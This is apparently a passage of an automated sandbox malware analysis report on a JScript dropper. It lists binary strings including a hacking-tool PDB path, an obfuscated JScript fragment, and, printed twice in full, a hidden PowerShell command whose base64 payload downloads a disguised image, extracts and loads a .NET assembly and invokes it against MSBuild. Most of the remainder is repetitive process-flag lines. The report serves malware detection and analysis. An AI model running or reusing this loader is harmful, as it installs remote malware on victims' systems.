rchunklist`1dnlib.dotnetiistypeormethodmicrosoft.win32.taskschedulercustomtriggerdnlib.dotnet.writerstartupstubdnlib.dotnetgenericinstmethodsigdnlib.dotnetmemberrefuserdnlib.dotnet.mdcomimageflagsdnlib.dotnetgenericparamdnlib.dotnet.writerchunklistbase`1dnlib.utilsextensionsdnlib.dotnetnativetypednlib.dotnet.mdrawenclogrowdnlib.dotnetgenericparamcontextdnlib.peimageoptionalheader64dnlib.dotnet.mdrawnestedclassrowdnlib.dotnetextensionsdnlib.dotneteventdefdnlib.dotnet.emitlocaldnlib.dotneticontainsgenericparameterdnlib.dotnetitokenoperanddnlib.dotnet.writerimdtablednlib.pedllcharacteristicsdnlib.dotnetifullnamednlib.dotnet.resourcesresourcereaderdnlib.dotnetstrongnamepublickeydnlib.dotnet.mdrawassemblyprocessorrowdnlib.dotnetbytearrayequalitycomparerdnlib.dotnet.mdrawmethodsemanticsrowdnlib.ioiimagestreamcreatordnlib.dotnetvtablefixups source: powershell.exe, 0000000A.00000002.1587182365.00007FF88AAE4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: `5dnlib.dotnetdeclsecuritydnlib.dotnet.writermdtablewriterdnlib.dotnetparamdefuserdnlib.dotnetframeworkredirectdnlib.dotnet.mdguidstreamdnlib.dotnet.writernativemodulewriteroptionsmemorymappedionotsupportedexceptiondnlib.dotnetmemberfindermicrosoft.win32.taskschedulertaskeventwatchermicrosoft.win32.taskschedulermonthsoftheyeardnlib.dotnetgenericinstsigmicrosoft.win32.taskschedulertaskservicednlib.dotnet.pdbsymbolwritercreatordnlib.dotnetihasconstantdnlib.peimagefileheaderdnlib.dotnetmethodsemanticsattributesdnlib.dotnetfileattributesdnlib.dotnetityperesolverdnlib.dotnetimplmapuserdnlib.dotnetmdtokensystem.runtime.compilerservicesextensionattributednlib.dotnet.writerichunkdnlib.dotnetmethodattributesdnlib.dotnet.writeriwritererrordnlib.dotnet.resourcesuserresourcedatadnlib.dotnetnullresolverdnlib.dotnet.writerstringsheapdnlib.dotnet.writerpeheadersdnlib.dotnetimplmapdnlib.dotnet.pdb.dssisymunmanageddocumentwriterdnlib.dotnet.mdheaptypednlib.dotnetidnlibdefdnlib.dotnetcustomattributemicrosoft.win32.taskscheduler.fluentactionbuilderdnlib.dotnet.mdrawmemberrefrowdnlib.utilsmfunc`3dnlib.dotnet.mdrawexportedtyperowdnlib.dotnet.writermethodbodywriterbasednlib.dotnetgenericvardnlib.dotnetimemberrefparentdnlib.dotnetiownermodulednlib.dotnetpropertysigbioscharacteristicsmicrosoft.win32.taskscheduleritriggerdelaydnlib.dotnet.mdrawfieldmarshalrow source: powershell.exe, 0000000A.00000002.1587182365.00007FF88AAE4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Hacking\Programas\UAC\UAC\UAC\obj\Debug\UAC.pdb source: powershell.exe, 0000000A.00000002.1579534878.000001E8AA250000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 0000000A.00000002.1579534878.000001E8AA250000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.dss source: powershell.exe, 0000000A.00000002.1587182365.00007FF88AAE4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Hacking\Programas\UAC\UAC\UAC\obj\Debug\UAC.pdbk= source: powershell.exe, 0000000A.00000002.1579534878.000001E8AA250000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: microsoft.win32.taskscheduleritaskhandlerdnlib.dotnet.writermethodbodydnlib.dotnet.resourcesresourcereaderexceptiondnlib.dotnet.writeritokencreatordnlib.peiimageoptionalheaderdnlib.peimagedatadirectorymicrosoft.win32.taskschedulertaskinstancespolicydnlib.dotnet.mdmdheaderruntimeversiondnlib.dotnet.emitlocallistdnlib.dotnet.emitexceptionhandlerdnlib.dotnet.writercor20headeroptionsdnlib.w32resourceswin32resourcespednlib.dotnet.mdrawdeclsecurityrowmicrosoft.win32.taskschedulericalendartriggermicrosoft.win32.taskschedulertaskeventargsdnlib.dotnet.writerimetadatalistenerdnlib.dotnetimportresolverdnlib.dotnetloggereventdnlib.dotnet.pdbpdbscopednlib.peimageoptionalheader32dnlib.dotnet.mdimetadatadnlib.dotnet.writerimodulewriterlistenerdnlib.dotnet.emitoperandtypednlib.dotnet.writermetadataeventeventfilterdnlib.dotnet.writermetadatadnlib.dotnetpublickeytokendnlib.dotnet.pdbisymbolwriter2dnlib.dotnetassemblydefuserdnlib.dotnetdeclsecurityusermicrosoft.win32.taskschedulerresourcereferencevaluednlib.dotnetassemblynameinfodnlib.dotnetmanifestresourceuserdnlib.dotnetaccesscheckermicrosoft.win32.taskschedulertasksetsecurityoptionsdnlib.dotnet.resourcesresourcewriterdnlib.dotnetmodulekinddnlib.peirvafileoffsetconverterdnlib.dotnetpropertydefusermicrosoft.win32.taskschedulertimetriggerdnlib.dotnetassemblyrefusermicrosoft.win32.taskschedulerwildcarddnlib.dotnetmethodspecmicrosoft.win32.taskschedulertaskeventlogmicrosoft.win32.taskschedulertasksessionstatechangetypednlib.dotnetmethodequalitycomparerdnlib.dotnetcustommarshaltypednlib.dotnetpropertydefmicrosoft.win32.taskscheduleridletriggerdnlib.dotnet.pdbpdbwriterdnlib.dotnettypedefuserdnlib.dotnet.emitstackbehaviourdnlib.dotnet.resourcesbuiltinresourcedatadnlib.dotnettypespecuserdnlib.dotnetfixedsysstringmarshaltypemicrosoft.win32.taskschedulertaskactiontypemicrosoft.win32.taskschedulerrepetitionpattern source: powershell.exe, 0000000A.00000002.1587182365.00007FF88AAE4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.managed source: powershell.exe, 0000000A.00000002.1587182365.00007FF88AAE4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: microsoft.win32.taskschedulertasklogontypednlib.dotnet.pdb.dsssymbolreadercreator source: powershell.exe, 0000000A.00000002.1587182365.00007FF88AAE4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb source: powershell.exe, 0000000A.00000002.1579534878.000001E8AA250000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell");isolationist.Run(Rabelaisian, 0, false);var tetraodon = ([]+[Infinity][+[]])[0], Higgs = ([]+[Infinity][+[]])[1], emblazed = ([]+[Infinity][+[]])[2], spearhead = ([]+[Infinity][+[]])[3], retravel = ([]+[Infinity][+[]])[4], answer = ([]+[Infinity][+[]])[5], anechoic = ([]+[Infinity][+[]])[6], interwoven = ([]+[Infinity][+[]])[7], endospore = ([]+[Infinity][+[]])[8], mortarboards = ([]+[Infinity][+[]])[9]; var queal = ([]+[ ([]["dentil"]+[])[0] + ([]["skincare"]+[])[1] + ([]["jerking"]+[])[2] + ([]["substandardly"]+[])[3] + ([]["postpubescent"]+[])[4] + ([]["pansinusitis"]+[])[5] + ([]["prived"]+[])[6] + ([]["skincareMap"]+[])[7] + ([]["swimsuits"]+[])[8] + ([]["slice"]+[])[9]]["postpubescent"])[0]; var pseudomelanosis = ([]+[ ([]["dentil"]+[])[0] + ([]["skincare"]+[])[1] + ([]["jerking"]+[])[2] + ([]["substandardly"]+[])[3] + ([]["postpubescent"]+[])[4] + ([]["pansinusitis"]+[])[5] + ([]["prived"]+[])[6] + ([]["skincareMap"]+[])[7] + ([]["swimsuits"]+[])[8] + ([]["slice"]+[])[9]]["dentil"])[1]; var transmuter = ([]+[ ([]["dentil"]+[])[0] + ([]["skincare"]+[])[1] + ([]["jerking"]+[])[2] + ([]["substandardly"]+[])[3] + ([]["postpubescent"]+[])[4] + ([]["pansinusitis"]+[])[5] + ([]["prived"]+[])[6] + ([]["skincareMap"]+[])[7] + ([]["swimsuits"]+[])[8] + ([]["slice"]+[])[9]]["skincare"])[2]; var lewdsters = ([]+[ ([]["dentil"]+[])[0] + ([]["skincare"]+[])[1] + ([]["jerking"]+[])[2] + ([]["substandardly"]+[])[3] + ([]["postpubescent"]+[])[4] + ([]["pansinusitis"]+[])[5] + ([]["prived"]+[])[6] + ([]["skincareMap"]+[])[7] + ([]["swimsuits"]+[])[8] + ([]["slice"]+[])[9]]["prived"])[3]; var bishopdom = ([]+[ ([]["dentil"]+[])[0] + ([]["skincare"]+[])[1] + ([]["jerking"]+[])[2] + ([]["substandardly"]+[])[3] + ([]["postpubescent"]+[])[4] + ([]["pansinusitis"]+[])[5] + ([]["prived"]+[])[6] + ([]["skincareMap"]+[])[7] + ([]["swimsuits"]+[])[8] + ([]["slice"]+[])[9]]["some"])[4]; var crust = ([]+[ ([]["dentil"]+[])[0] + ([]["skincare"]+[])[1] + ([]["jerking"]+[])[2] + ([]["substandardly"]+[])[3] + ([]["postpubescent"]+[])[4] + ([]["pansinusitis"]+[])[5] + ([]["prived"]+[])[6] + ([]["skincareMap"]+[])[7] + ([]["swimsuits"]+[])[8] + ([]["slice"]+[])[9]]["jerking"])[2]; var shadowinesses = ([ ([]["dentil"]+[])[0] + ([]["skincare"]+[])[1] + ([]["jerking"]+[])[2] + ([]["substandardly"]+[])[3] + ([]["postpubescent"]+[])[4] + ([]["pansinusitis"]+[])[5] + ([]["prived"]+[])[6] + ([]["skincareMap"]+[])[7] + ([]["swimsuits"]+[])[8] + ([]["slice"]+[])[9]]+[]["slice"])[5]; var circularizes = ([]+[ ([]["dentil"]+[])[0] + ([]["skincare"]+[])[1] + ([]["jerking"]+[])[2] + ([]["substandardly"]+[])[3] + ([]["postpubescent"]+[])[4] + ([]["pansinusitis"]+[])[5] + ([]["prived"]+[])[6] + ([]["skincareMap"]+[])[7] + ([]["swimsuits"]+[])[8] + ([]["slice"]+[])[9]]["pansinusitis"])[6]; var Nicopolitan = ([ ([]["dentil"]+[])[0] + ([]["skincare"]+[])[1] + ([]["jerking"]+[])[2] + ([]["substandardly"]

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "$fronts = 'JABhAGwAYgBpAGYAbABvAHIAbwB1AHMAIAA9ACAAJwAwAC8AUwA0AHgAUQBTAFYAWgB4AC8AZAAvAGUAZQAuAGUAIwBzAGEAcAAvAC8AOgBzAHAAIwAjAGgAJwA7ACQAbQB1AGwAdABpAGYAbABvAHIAbwB1AHMAIAA9ACAAJABhAGwAYgBpAGYAbABvAHIAbwB1AHMAIAAtAHIAZQBwAGwAYQBjAGUAIAAnACMAJwAsACAAJwB0ACcAOwAkAGMAbwB6AGkAbgBlAHMAcwAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwBhAHIAYwBoAGkAdgBlAC4AbwByAGcALwBkAG8AdwBuAGwAbwBhAGQALwBuAGUAdwBfAGkAbQBhAGcAZQBfADIAMAAyADUAMAA0ADEAMwAvAG4AZQB3AF8AaQBtAGEAZwBlAC4AagBwAGcAJwA7ACQAbABvAHUAbgBnAGkAbgBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGwAbwB1AG4AZwBpAG4AZwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJwBNAG8AegBpAGwAbABhAC8ANQAuADAAJwApADsAJABNAGMASQBuAHQAaQByAGUAIAA9ACAAJABsAG8AdQBuAGcAaQBuAGcALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAYwBvAHoAaQBuAGUAcwBzACkAOwAkAG0AbwBuAG8AdAByAG8AcABpAHMAbQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAE0AYwBJAG4AdABpAHIAZQApADsAJAByAGUAYwBvAG0AZgBvAHIAdABsAGUAcwBzACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABuAG8AZABvAGkAZAAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJAB1AG4AYwByAGUAYQB0AGkAdgBlACAAPQAgACQAbQBvAG4AbwB0AHIAbwBwAGkAcwBtAC4ASQBuAGQAZQB4AE8AZgAoACQAcgBlAGMAbwBtAGYAbwByAHQAbABlAHMAcwApADsAJABiAGUAbgB6AG8AdABoAGkAYQB6AGkAbgBlAHMAIAA9ACAAJABtAG8AbgBvAHQAcgBvAHAAaQBzAG0ALgBJAG4AZABlAHgATwBmACgAJABuAG8AZABvAGkAZAApADsAJAB1AG4AYwByAGUAYQB0AGkAdgBlACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAYgBlAG4AegBvAHQAaABpAGEAegBpAG4AZQBzACAALQBnAHQAIAAkAHUAbgBjAHIAZQBhAHQAaQB2AGUAOwAkAHUAbgBjAHIAZQBhAHQAaQB2AGUAIAArAD0AIAAkAHIAZQBjAG8AbQBmAG8AcgB0AGwAZQBzAHMALgBMAGUAbgBnAHQAaAA7ACQASABhAHQAaABvAHIAIAA9ACAAJABiAGUAbgB6AG8AdABoAGkAYQB6AGkAbgBlAHMAIAAtACAAJAB1AG4AYwByAGUAYQB0AGkAdgBlADsAJAByAGUAdgBvAGwAdQB0AGkAbwBuAGkAegBlAGQAIAA9ACAAJABtAG8AbgBvAHQAcgBvAHAAaQBzAG0ALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAdQBuAGMAcgBlAGEAdABpAHYAZQAsACAAJABIAGEAdABoAG8AcgApADsAJABtAGUAbQBvAHIAYQBiAGwAZQBuAGUAcwBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHIAZQB2AG8AbAB1AHQAaQBvAG4AaQB6AGUAZAApADsAJABjAHUAbAB0AHIAYQB0AGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAbQBlAG0AbwByAGEAYgBsAGUAbgBlAHMAcwApADsAJAByAGUAcwBpAHQAdQBhAHQAZQBzACAAPQAgAFsAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFYAQQBJACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdACAAQAAoACQAbQB1AGwAdABpAGYAbABvAHIAbwB1AHMALAAnACcALAAnACcALAAnACcALAAnAE0AUwBCAHUAaQBsAGQAJwAsACcAJwAsACcAJwAsACcAJwAsACcAJwAsACcAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXABEAG8AdwBuAGwAbwBhAGQAcwAnACwAJwBxAHUAZQByAHUAbABvAHUAcwBuAGUAcwBzAGUAcwAnACwAJwBqAHMAJwAsACcAJwAsACcAJwAsACcAYwBlAG4AdABpAG0AZQB0AHIAaQBjACcALAAnADIAJwAsACcAJwApACkA' -replace '','';$al
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "$fronts = 'JABhAGwAYgBpAGYAbABvAHIAbwB1AHMAIAA9ACAAJwAwAC8AUwA0AHgAUQBTAFYAWgB4AC8AZAAvAGUAZQAuAGUAIwBzAGEAcAAvAC8AOgBzAHAAIwAjAGgAJwA7ACQAbQB1AGwAdABpAGYAbABvAHIAbwB1AHMAIAA9ACAAJABhAGwAYgBpAGYAbABvAHIAbwB1AHMAIAAtAHIAZQBwAGwAYQBjAGUAIAAnACMAJwAsACAAJwB0ACcAOwAkAGMAbwB6AGkAbgBlAHMAcwAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwBhAHIAYwBoAGkAdgBlAC4AbwByAGcALwBkAG8AdwBuAGwAbwBhAGQALwBuAGUAdwBfAGkAbQBhAGcAZQBfADIAMAAyADUAMAA0ADEAMwAvAG4AZQB3AF8AaQBtAGEAZwBlAC4AagBwAGcAJwA7ACQAbABvAHUAbgBnAGkAbgBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGwAbwB1AG4AZwBpAG4AZwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJwBNAG8AegBpAGwAbABhAC8ANQAuADAAJwApADsAJABNAGMASQBuAHQAaQByAGUAIAA9ACAAJABsAG8AdQBuAGcAaQBuAGcALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAYwBvAHoAaQBuAGUAcwBzACkAOwAkAG0AbwBuAG8AdAByAG8AcABpAHMAbQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAE0AYwBJAG4AdABpAHIAZQApADsAJAByAGUAYwBvAG0AZgBvAHIAdABsAGUAcwBzACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABuAG8AZABvAGkAZAAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJAB1AG4AYwByAGUAYQB0AGkAdgBlACAAPQAgACQAbQBvAG4AbwB0AHIAbwBwAGkAcwBtAC4ASQBuAGQAZQB4AE8AZgAoACQAcgBlAGMAbwBtAGYAbwByAHQAbABlAHMAcwApADsAJABiAGUAbgB6AG8AdABoAGkAYQB6AGkAbgBlAHMAIAA9ACAAJABtAG8AbgBvAHQAcgBvAHAAaQBzAG0ALgBJAG4AZABlAHgATwBmACgAJABuAG8AZABvAGkAZAApADsAJAB1AG4AYwByAGUAYQB0AGkAdgBlACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAYgBlAG4AegBvAHQAaABpAGEAegBpAG4AZQBzACAALQBnAHQAIAAkAHUAbgBjAHIAZQBhAHQAaQB2AGUAOwAkAHUAbgBjAHIAZQBhAHQAaQB2AGUAIAArAD0AIAAkAHIAZQBjAG8AbQBmAG8AcgB0AGwAZQBzAHMALgBMAGUAbgBnAHQAaAA7ACQASABhAHQAaABvAHIAIAA9ACAAJABiAGUAbgB6AG8AdABoAGkAYQB6AGkAbgBlAHMAIAAtACAAJAB1AG4AYwByAGUAYQB0AGkAdgBlADsAJAByAGUAdgBvAGwAdQB0AGkAbwBuAGkAegBlAGQAIAA9ACAAJABtAG8AbgBvAHQAcgBvAHAAaQBzAG0ALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAdQBuAGMAcgBlAGEAdABpAHYAZQAsACAAJABIAGEAdABoAG8AcgApADsAJABtAGUAbQBvAHIAYQBiAGwAZQBuAGUAcwBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHIAZQB2AG8AbAB1AHQAaQBvAG4AaQB6AGUAZAApADsAJABjAHUAbAB0AHIAYQB0AGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAbQBlAG0AbwByAGEAYgBsAGUAbgBlAHMAcwApADsAJAByAGUAcwBpAHQAdQBhAHQAZQBzACAAPQAgAFsAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFYAQQBJACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdACAAQAAoACQAbQB1AGwAdABpAGYAbABvAHIAbwB1AHMALAAnACcALAAnACcALAAnACcALAAnAE0AUwBCAHUAaQBsAGQAJwAsACcAJwAsACcAJwAsACcAJwAsACcAJwAsACcAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXABEAG8AdwBuAGwAbwBhAGQAcwAnACwAJwBxAHUAZQByAHUAbABvAHUAcwBuAGUAcwBzAGUAcwAnACwAJwBqAHMAJwAsACcAJwAsACcAJwAsACcAYwBlAG4AdABpAG0AZQB0AHIAaQBjACcALAAnADIAJwAsACcAJwApACkA' -replace '','';$al			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FF88A8A635D pushad ; iretd	10_2_00007FF88A8A6391
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FF88A8A5964 pushad ; ret	10_2_00007FF88A8A5969
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FF88A8A62A2 push eax; retf	10_2_00007FF88A8A6291
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FF88A8A62A2 pushad ; iretd	10_2_00007FF88A8A6391
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FF88A8A6241 push eax; retf	10_2_00007FF88A8A6291
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FF88A8A00BD pushad ; iretd	10_2_00007FF88A8A00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FF88A8A7563 push ebx; iretd	10_2_00007FF88A8A756A

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
